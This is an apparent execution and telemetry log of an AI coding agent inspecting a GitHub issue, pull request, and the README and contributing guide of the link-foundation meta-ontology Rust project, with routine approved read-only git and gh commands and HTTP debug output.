tools.exec_command({cmd,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:02:35.053Z] [INFO] for (const [name,r] of results) { text(`===== ${name} =====\\n${r.output}`); }\n[2026-07-12T04:02:35.053Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:35.053Z] [INFO] \n[2026-07-12T04:02:35.080Z] [INFO] 2026-07-12T04:02:35.052653Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311d338988191938023e0e06131e9\"\n[2026-07-12T04:02:35.080Z] [INFO] 2026-07-12T04:02:35.052692Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15648 output_token_count=336 cached_token_count=14080 reasoning_token_count=13 tool_token_count=15984 ttft_ms=1816 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:35.052Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.080Z] [INFO] 2026-07-12T04:02:35.052717Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=15648 output_token_count=336 cached_token_count=14080 reasoning_token_count=13 tool_token_count=15984 ttft_ms=1816 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:35.052Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.080Z] [INFO] \n[2026-07-12T04:02:35.181Z] [INFO] 2026-07-12T04:02:35.172800Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-cdf5f293-0ec8-4592-aa10-4e610205424c decision=approved source=Config event.timestamp=2026-07-12T04:02:35.172Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.181Z] [INFO] \n[2026-07-12T04:02:35.199Z] [INFO] 2026-07-12T04:02:35.187968Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-958e4ced-5c59-4c9e-9db0-d359d7c09411 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.187Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.199Z] [INFO] \n[2026-07-12T04:02:35.280Z] [INFO] 2026-07-12T04:02:35.241745Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-6a99f2e8-ef70-439e-a829-354a0c53e468 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.241Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.280Z] [INFO] \n[2026-07-12T04:02:35.316Z] [INFO] 2026-07-12T04:02:35.304038Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-ef7c9fef-ffef-4fc4-af2b-fd3283f389db decision=approved source=Config event.timestamp=2026-07-12T04:02:35.304Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.316Z] [INFO] \n[2026-07-12T04:02:35.359Z] [INFO] 2026-07-12T04:02:35.316094Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-f00aa585-5d64-49b0-9616-1fb5707a0d2c decision=approved source=Config event.timestamp=2026-07-12T04:02:35.316Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.359Z] [INFO] \n[2026-07-12T04:02:35.363Z] [INFO] 2026-07-12T04:02:35.319957Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a8dfe1de-a59f-4a8c-8735-2c6962148086 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.319Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.363Z] [INFO] \n[2026-07-12T04:02:35.367Z] [INFO] 2026-07-12T04:02:35.326449Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-8df2004e-865f-43f6-8266-118bbff060a3 decision=approved source=Config event.timestamp=2026-07-12T04:02:35.326Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.367Z] [INFO] \n[2026-07-12T04:02:35.441Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_4\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh issue view 5 --repo link-foundation/meta-ontology --json number,title,body,state,author,labels,assignees,comments,url'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.441Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_5\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/5/comments --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.441Z] [INFO] \n[2026-07-12T04:02:35.574Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_6\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr view 6 --repo link-foundation/meta-ontology --json number,title,body,state,isDraft,author,baseRefName,headRefName,mergeable,mergeStateStatus,statusCheckRollup,commits,files,url'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.574Z] [INFO] \n[2026-07-12T04:02:35.586Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_7\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.586Z] [INFO] \n[2026-07-12T04:02:35.606Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_8\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/issues/6/comments --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.606Z] [INFO] \n[2026-07-12T04:02:35.615Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_9\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/reviews --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.615Z] [INFO] \n[2026-07-12T04:02:35.626Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_10\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:35.626Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 2026-07-12T04:02:35.785384Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ef7c9fef-ffef-4fc4-af2b-fd3283f389db arguments={\"cmd\":\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=485 success=true output=Chunk ID: eb0e4b\n[2026-07-12T04:02:35.790Z] [INFO] Wall time: 0.2091 seconds\n[2026-07-12T04:02:35.790Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:35.790Z] [INFO] Original token count: 2543\n[2026-07-12T04:02:35.790Z] [INFO] Output:\n[2026-07-12T04:02:35.790Z] [INFO] origin\thttps://github.com/link-foundation/meta-ontology.git (fetch)\n[2026-07-12T04:02:35.790Z] [INFO] origin\thttps://github.com/link-foundation/meta-ontology.git (push)\n[2026-07-12T04:02:35.790Z] [INFO] e4aaa28 (HEAD -> issue-5-e2602184e2c5, origin/issue-5-e2602184e2c5) Initial commit with task details\n[2026-07-12T04:02:35.790Z] [INFO] 04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\n[2026-07-12T04:02:35.790Z] [INFO] 1a5b76c Merge pull request #4 from link-foundation/issue-3-296ff7e963a4\n[2026-07-12T04:02:35.790Z] [INFO] afa8dab (origin/issue-3-296ff7e963a4) test: make workflow release test line-ending independent\n[2026-07-12T04:02:35.790Z] [INFO] cb12d5f chore: remove issue solver placeholder\n[2026-07-12T04:02:35.790Z] [INFO] 1e443ab docs: add issue 3 CI/CD case study\n[2026-07-12T04:02:35.790Z] [INFO] e60f508 fix: decouple docs deployment from release publication\n[2026-07-12T04:02:35.790Z] [INFO] 7aa1341 Initial commit with task details\n[2026-07-12T04:02:35.790Z] [INFO] c162cc7 Merge pull request #2 from link-foundation/issue-1-37a4eab13fe1\n[2026-07-12T04:02:35.790Z] [INFO] ac70961 (origin/issue-1-37a4eab13fe1) Revert \"Initial commit with task details\"\n[2026-07-12T04:02:35.790Z] [INFO] a719644 fix: revert version to 0.7.0 (CI auto-bumps from changelog fragments)\n[2026-07-12T04:02:35.790Z] [INFO] f439026 feat: first prototype (MVP) of the meta-ontology\n[2026-07-12T04:02:35.790Z] [INFO] # Contributing to rust-ai-driven-development-pipeline-template\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] Thank you for your interest in contributing! This document provides guidelines and instructions for contributing to this project.\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] ## Development Setup\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 1. **Fork and clone the repository**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    git clone https://github.com/YOUR-USERNAME/rust-ai-driven-development-pipeline-template.git\n[2026-07-12T04:02:35.790Z] [INFO]    cd rust-ai-driven-development-pipeline-template\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 2. **Install Rust**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    Install Rust using rustup (if not already installed):\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 3. **Install development tools**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    rustup component add rustfmt clippy\n[2026-07-12T04:02:35.790Z] [INFO]    cargo install rust-script\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 4. **Install pre-commit hooks** (optional but recommended)\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    pip install pre-commit\n[2026-07-12T04:02:35.790Z] [INFO]    pre-commit install\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 5. **Build the project**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO]    ```bash\n[2026-07-12T04:02:35.790Z] [INFO]    cargo build\n[2026-07-12T04:02:35.790Z] [INFO]    ```\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] ## Development Workflow\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] 1. **Create a feature branch**\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.790Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:35.785Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.790Z] [INFO] 2026-07-12T04:02:35.785462Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-ef7c9fef-ffef-4fc4-af2b-fd3283f389db duration_ms=485 success=true arguments_length=218 output_length=2051 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:35.785Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:35.790Z] [INFO] \n[2026-07-12T04:02:35.889Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_7\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git remote -v && git log --oneline --decorate -12 && sed -n '1,240p' CONTRIBUTING.md && sed -n '1,220p' README.md\\\"\",\"aggregated_output\":\"origin\\thttps://github.com/link-foundation/meta-ontology.git (fetch)\\norigin\\thttps://github.com/link-foundation/meta-ontology.git (push)\\ne4aaa28 (HEAD -> issue-5-e2602184e2c5, origin/issue-5-e2602184e2c5) Initial commit with task details\\n04e732e (tag: v0.8.0, origin/main, origin/HEAD, main) chore: release v0.8.0\\n1a5b76c Merge pull request #4 from link-foundation/issue-3-296ff7e963a4\\nafa8dab (origin/issue-3-296ff7e963a4) test: make workflow release test line-ending independent\\ncb12d5f chore: remove issue solver placeholder\\n1e443ab docs: add issue 3 CI/CD case study\\ne60f508 fix: decouple docs deployment from release publication\\n7aa1341 Initial commit with task details\\nc162cc7 Merge pull request #2 from link-foundation/issue-1-37a4eab13fe1\\nac70961 (origin/issue-1-37a4eab13fe1) Revert \\\"Initial commit with task details\\\"\\na719644 fix: revert version to 0.7.0 (CI auto-bumps from changelog fragments)\\nf439026 feat: first prototype (MVP) of the meta-ontology\\n# Contributing to rust-ai-driven-development-pipeline-template\\n\\nThank you for your interest in contributing! This document provides guidelines and instructions for contributing to this project.\\n\\n## Development Setup\\n\\n1. **Fork and clone the repository**\\n\\n   ```bash\\n   git clone https://github.com/YOUR-USERNAME/rust-ai-driven-development-pipeline-template.git\\n   cd rust-ai-driven-development-pipeline-template\\n   ```\\n\\n2. **Install Rust**\\n\\n   Install Rust using rustup (if not already installed):\\n\\n   ```bash\\n   curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh\\n   ```\\n\\n3. **Install development tools**\\n\\n   ```bash\\n   rustup component add rustfmt clippy\\n   cargo install rust-script\\n   ```\\n\\n4. **Install pre-commit hooks** (optional but recommended)\\n\\n   ```bash\\n   pip install pre-commit\\n   pre-commit install\\n   ```\\n\\n5. **Build the project**\\n\\n   ```bash\\n   cargo build\\n   ```\\n\\n## Development Workflow\\n\\n1. **Create a feature branch**\\n\\n   ```bash\\n   git checkout -b feature/my-feature\\n   ```\\n\\n2. **Make your changes**\\n\\n   - Write code following the project's style guidelines\\n   - Add tests for any new functionality\\n   - Update documentation as needed\\n\\n3. **Run quality checks**\\n\\n   ```bash\\n   # Format code\\n   cargo fmt\\n\\n   # Run Clippy lints\\n   cargo clippy --all-targets --all-features\\n\\n   # Check file sizes (requires rust-script)\\n   rust-script scripts/check-file-size.rs\\n\\n   # Run all checks together\\n   cargo fmt --check && cargo clippy --all-targets --all-features && rust-script scripts/check-file-size.rs\\n   ```\\n\\n4. **Run tests**\\n\\n   ```bash\\n   # Run all tests\\n   cargo test\\n\\n   # Run tests with verbose output\\n   cargo test --verbose\\n\\n   # Run doc tests\\n   cargo test --doc\\n\\n   # Run a specific test\\n   cargo test test_name\\n   ```\\n\\n5. **Add a changelog fragment**\\n\\n   For any user-facing changes, create a changelog fragment:\\n\\n   ```bash\\n   # Create a new file in changelog.d/\\n   # Format: YYYYMMDD_HHMMSS_description.md\\n   touch changelog.d/$(date +%Y%m%d_%H%M%S)_my_change.md\\n   ```\\n\\n   Edit the file to document your changes:\\n\\n   ```markdown\\n   ### Added\\n   - Description of new feature\\n\\n   ### Fixed\\n   - Description of bug fix\\n   ```\\n\\n   **Why fragments?** This prevents merge conflicts in CHANGELOG.md when multiple PRs are open simultaneously.\\n\\n6. **Commit your changes**\\n\\n   ```bash\\n   git add .\\n   git commit -m \\\"feat: add new feature\\\"\\n   ```\\n\\n   Pre-commit hooks will automatically run and check your code.\\n\\n7. **Push and create a Pull Request**\\n\\n   ```bash\\n   git push origin feature/my-feature\\n   ```\\n\\n   Then create a Pull Request on GitHub.\\n\\n## Code Style Guidelines\\n\\nThis project uses:\\n\\n- **rustfmt** for code formatting\\n- **Clippy** for linting with pedantic and nursery lints enabled\\n- **cargo test** for testing\\n\\n### Code Standards\\n\\n- Follow Rust idioms and best practices\\n- Use documentation comments (`///`) for all public APIs\\n- Write tests for all new functionality\\n- Keep functions focused and reasonably sized\\n- Keep files under 1000 lines\\n- Use meaningful variable and function names\\n\\n### Documentation Format\\n\\nUse Rust documentation comments:\\n\\n```rust\\n/// Brief description of the function.\\n///\\n/// Longer description if needed.\\n///\\n/// # Arguments\\n///\\n/// * `arg1` - Description of arg1\\n/// * `arg2` - Description of arg2\\n///\\n/// # Returns\\n///\\n/// Description of return value\\n///\\n/// # Errors\\n///\\n/// Description of when errors are returned\\n///\\n/// # Examples\\n///\\n/// ```\\n/// use my_package::example_function;\\n/// let result = example_function(1, 2);\\n/// assert_eq!(result, 3);\\n/// ```\\npub fn example_function(arg1: i32, arg2: i32) -> i32 {\\n    arg1 + arg2\\n}\\n```\\n\\n## Testing Guidelines\\n\\n- Write tests for all new features\\n- Maintain or improve test coverage\\n- Use descriptive test names\\n- Organize tests in modules when appropriate\\n- Use `#[cfg(test)]` for test-only code\\n\\nExample test structure:\\n\\n```rust\\n#[cfg(test)]\\nmod tests {\\n    use super::*;\\n\\n    mod my_feature_tests {\\n        use super::*;\\n\\n        #[test]\\n        fn test_basic_functionality() {\\n            assert_eq!(my_function(), expected_result);\\n        }\\n\\n        #[test]\\n        fn test_edge_case() {\\n            assert_eq!(my_function(edge_case_input), expected_result);\\n        }\\n    }\\n}\\n```\\n\\n## Pull Request Process\\n\\n1. Ensure all tests pass locally\\n2. Update documentation if needed\\n3. Add a changelog fragment (see step 5 in Development Workflow)\\n4. Ensure the PR description clearly describes the changes\\n5. Link any related issues in the PR description\\n6. Wait for CI checks to pass\\n7. Address any review feedback\\n\\n## Changelog Management\\n\\nThis project uses a fragment-based changelog system similar to [Scriv](https://scriv.readthedocs.io/) (Python) and [Changesets](https://github.com/changesets/changesets) (JavaScript).\\n\\n### Creating a Fragment\\n\\n```bash\\n# Create a new fragment with timestamp\\ntouch changelog.d/$(date +%Y%m%d_%H%M%S)_description.md\\n```\\n\\n### Fragment Categories\\n\\nUse these categories in your fragments:\\n\\n- **Added**: New features\\n- **Changed**: Changes to existing functionality\\n- **Deprecated**: Features that will be removed in future\\n- **Removed**: Features that were removed\\n- **Fixed**: Bug fixes\\n- **Security**: Security-related changes\\n\\n# meta-ontology\\n\\nA self-describing meta-ontology stored in [Links Notation](https://github.com/link-foundation/links-notation),\\nshipping as a Rust library, command-line tool, microservice, and a\\nWebAssembly + React.js web application \u2014 public domain.\\n\\n[![License: Unlicense](https://img.shields.io/badge/license-Unlicense-blue.svg)](http://unlicense.org/)\\n\\n## Status\\n\\nFirst prototype (MVP). See [issue #1](https://github.com/link-foundation/meta-ontology/issues/1)\\nand the milestones in [`ROADMAP.md`](ROADMAP.md). What is shipped today:\\n\\n- Library + CLI that load the seed ontology from `data/`.\\n- 65 NSM semantic primes + ~25 self-referential link-notation primes.\\n- English exponents complete; Spanish and Russian seeded.\\n- Cross-ontology mappings to Schema.org, OWL/RDF, SUMO, Wikidata.\\n- Word-coverage check that reports words missing from the ontology.\\n\\nThe HTTP microservice and the WASM/React web app are scaffolded only;\\ntheir full implementation is staged in `ROADMAP.md` (M3 and M4).\\n\\n## Design\\n\\nA meta-ontology is an ontology that describes itself. The seed graph\\ncontains concepts like `link`, `thing`, `concept`, and `definition` that\\nreference each other \u2014 for example, `thing` is defined via `concept`,\\nand `concept` is defined via `thing`. This is a network with cycles, not\\na tree, which is why we store it in Links Notation.\\n\\nFor the deep analysis see\\n[`docs/case-studies/issue-1/`](docs/case-studies/issue-1/) and the\\nimplementation plan in [`docs/plan/`](docs/plan/).\\n\\n## Quick start\\n\\n```bash\\n# Build\\ncargo build\\n\\n# List every concept\\ncargo run -- list\\n\\n# Show one concept and its definitions / mappings\\ncargo run -- show thing\\n\\n# Walk the example\\ncargo run --example basic_usage\\n\\n# Check that every word in a path is in the ontology or allow-list\\ncargo run -- check-words README.md\\n\\n# Show declared languages\\ncargo run -- langs\\n```\\n\\n## Crates we depend on\\n\\nThis project follows the issue's directive to use the `link-foundation`\\ntoolchain:\\n\\n- [`links-notation`](https://github.com/link-foundation/links-notation)\\n  \u2014 parser and serializer for the lino format used by every `data/*.lino`\\n  file.\\n- [`lino-arguments`](https://github.com/link-foundation/lino-arguments)\\n  \u2014 clap-style argument parser with `.lenv` config support, used by the\\n  CLI binary.\\n- [`lino-objects-codec`](https://github.com/link-foundation/lino-objects-codec)\\n  \u2014 feature-gated dependency for runtime object encoding (used by the\\n  microservice in M3 and the web app in M4).\\n\\n## Repository layout\\n\\n```\\n.\\n\u251c\u2500\u2500 data/\\n\u2502   \u251c\u2500\u2500 primes/            # NSM semantic primes + per-language exponents\\n\u2502   \u251c\u2500\u2500 concepts/          # core lino concepts and cross-ontology mappings\\n\u2502   \u2514\u2500\u2500 allowlist.lino     # words that intentionally have no concept\\n\u251c\u2500\u2500 src/\\n\u2502   \u251c\u2500\u2500 lib.rs             # library entry point\\n\u2502   \u251c\u2500\u2500 ontology.rs        # Ontology, Concept, Definition, Mapping types\\n\u2502   \u251c\u2500\u2500 loader.rs          # walks data/, parses lino, builds the graph\\n\u2502   \u251c\u2500\u2500 words.rs           # tokenizer + scanner used by check-words\\n\u2502   \u2514\u2500\u2500 main.rs            # CLI binary\\n\u251c\u2500\u2500 docs/\\n\u2502   \u251c\u2500\u2500 case-studies/      # deep research per issue\\n\u2502   \u2514\u2500\u2500 plan/              # per-slice implementation plan\\n\u251c\u2500\u2500 examples/basic_usage.rs\\n\u251c\u2500\u2500 tests/\\n\u2502   \u251c\u2500\u2500 unit/              # unit tests\\n\u2502   \u2514\u2500\u2500 integration/       # CLI integration tests\\n\u251c\u2500\u2500 REQUIREMENTS.md        # canonical requirement list\\n\u251c\u2500\u2500 ROADMAP.md             # milestones from MVP through 1.0\\n\u2514\u2500\u2500 Cargo.toml\\n```\\n\\n## Documentation\\n\\n- [`REQUIREMENTS.md`](REQUIREMENTS.md) \u2014 canonical requirement list\\n- [`ROADMAP.md`](ROADMAP.md) \u2014 staged milestones\\n- [`docs/plan/`](docs/plan/) \u2014 per-slice implementation plan\\n- [`docs/case-studies/issue-1/`](docs/case-studies/issue-1/) \u2014 deep analysis\\n\\n## License\\n\\nPublic domain \u2014 released under [the Unlicense](LICENSE).\\n\\n## Contributing\\n\\nSee [`CONTRIBUTING.md`](CONTRIBUTING.md). Pull requests welcome.\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:35.889Z] [INFO] \n[2026-07-12T04:02:35.924Z] [INFO] 2026-07-12T04:02:35.921806Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:35.924Z] [INFO] \n[2026-07-12T04:02:35.944Z] [INFO] 2026-07-12T04:02:35.944096Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:35.944Z] [INFO] \n[2026-07-12T04:02:35.946Z] [INFO] 2026-07-12T04:02:35.946503Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:35.946Z] [INFO] \n[2026-07-12T04:02:35.958Z] [INFO] 2026-07-12T04:02:35.957679Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:35.958Z] [INFO] \n[2026-07-12T04:02:36.069Z] [INFO] 2026-07-12T04:02:36.067763Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a8dfe1de-a59f-4a8c-8735-2c6962148086 arguments={\"cmd\":\"gh api repos/link-foundation/meta-ontology/pulls/6/comments --paginate\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=748 success=true output=Chunk ID: 3c957b\n[2026-07-12T04:02:36.069Z] [INFO] Wall time: 0.4610 seconds\n[2026-07-12T04:02:36.069Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:36.069Z] [INFO] Original token count: 1\n[2026-07-12T04:02:36.069Z] [INFO] Output:\n[2026-07-12T04:02:36.069Z] [INFO] [] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:36.067Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.069Z] [INFO] 2026-07-12T04:02:36.067818Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a8dfe1de-a59f-4a8c-8735-2c6962148086 duration_ms=748 success=true arguments_length=175 output_length=104 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:36.067Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:36.069Z] [INFO] \n[2026-07-12T04:02:36.108Z] [INFO] 2026-07-12T04:02:36.099997Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:36.108Z] [INFO] 2026-07-12T04:02:36.100107Z DEBUG cookie_store::cookie_store: inserting secure cookie '__cflb'\n[2026-07-12T04:02:36.108Z] [INFO] 2026-07-12T04:02:36.100166Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:36 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"8c1cbcf2-6fdf-45b6-b5ae-d12d01be0e38\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": 